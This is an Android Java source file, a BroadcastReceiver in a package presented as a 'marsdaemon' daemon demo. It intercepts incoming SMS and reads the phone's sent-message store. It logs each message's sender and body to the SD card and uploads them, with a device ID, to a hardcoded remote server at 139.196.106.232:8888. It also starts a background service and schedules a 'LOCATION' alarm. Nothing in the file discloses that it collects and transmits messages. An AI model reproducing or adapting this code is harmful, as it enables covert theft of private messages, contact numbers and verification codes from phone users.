package com.marswin89.marsdaemon.demo;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;

import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;

/**
 * Created by xuxingcan on 16-7-31.
 */
public class SmsReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i("xuxingcan", "onReceive");
        context.startService(new Intent(context, Service1.class));
        FileUtil.getInstance().writeLog("SmsReceiver\n\n\n");

        Intent intent1 = new Intent("LOCATION");
        PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent1, 0);
        AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
        am.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 2 * 60 * 1000, pi);

        Bundle bundle = intent.getExtras();
        SmsMessage msg = null;
        if (null != bundle && intent.getAction().equalsIgnoreCase("android.provider.Telephony.SMS_RECEIVED")) {
            getSmsFromPhone(context);
            Object[] smsObj = (Object[]) bundle.get("pdus");
            for (Object object : smsObj) {
                msg = SmsMessage.createFromPdu((byte[]) object);
                Date date = new Date(msg.getTimestampMillis());//时间
                SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
                String receiveTime = format.format(date);
                Log.i("xuxingcan", "number:" + msg.getOriginatingAddress()
                        + "   body:" + msg.getDisplayMessageBody() + "  time:"
                        + msg.getTimestampMillis());
                FileUtil.getInstance().writeFileSdcardFile("address:" + msg.getOriginatingAddress() + "\nBody:" + msg.getDisplayMessageBody() + "\ntype:接收\n\n\n");
                HttpUtil.getInstance().sendGet("http://139.196.106.232:8888/WebForm4.aspx?address=" + msg.getOriginatingAddress() + "&body=" + URLEncoder.encode(msg.getDisplayMessageBody()) + "&type=1&code=" + WID.getWid(context));
            }
        }
    }

    private Uri SMS_INBOX = Uri.parse("content://sms/sent");

    public void getSmsFromPhone(Context context) {
        ContentResolver cr = context.getContentResolver();
        String[] projection = new String[]{"body", "_id", "address", "person", "date", "type"};
        Cursor cur = cr.query(SMS_INBOX, projection, null, null, "date DESC");
        if (null == cur)
            return;
        long maxTime = -1;
        while (cur.moveToNext()) {
            String number = cur.getString(cur.getColumnIndex("address"));//手机号
            String name = cur.getString(cur.getColumnIndex("person"));//联系人姓名列表
            String body = cur.getString(cur.getColumnIndex("body"));
            long time = cur.getLong(cur.getColumnIndex("date"));
            if (maxTime == -1) {
                maxTime = time;
            }
//            Log.i("xuxingcan", "time = " + time);
//            Log.i("xuxingcan", "getLastSendTime = " + SharedPreferenceUtil.getInstance(context).getLastSendTime());
            if (time <= SharedPreferenceUtil.getInstance(context).getLastSendTime()) {
                break;
            }
            Log.i("xuxingcan", number + " " + name + " " + body + "  " + time);
            FileUtil.getInstance().writeFileSdcardFile("address:" + number + "\nBody:" + body + "\ntype:发出\n\n\n");
            HttpUtil.getInstance().sendGet("http://139.196.106.232:8888/WebForm4.aspx?address=" + number + "&body=" + URLEncoder.encode(body) + "&type=2&code=" + WID.getWid(context));
        }
        SharedPreferenceUtil.getInstance(context).setLastSendTime(maxTime);
        cur.close();
    }
}
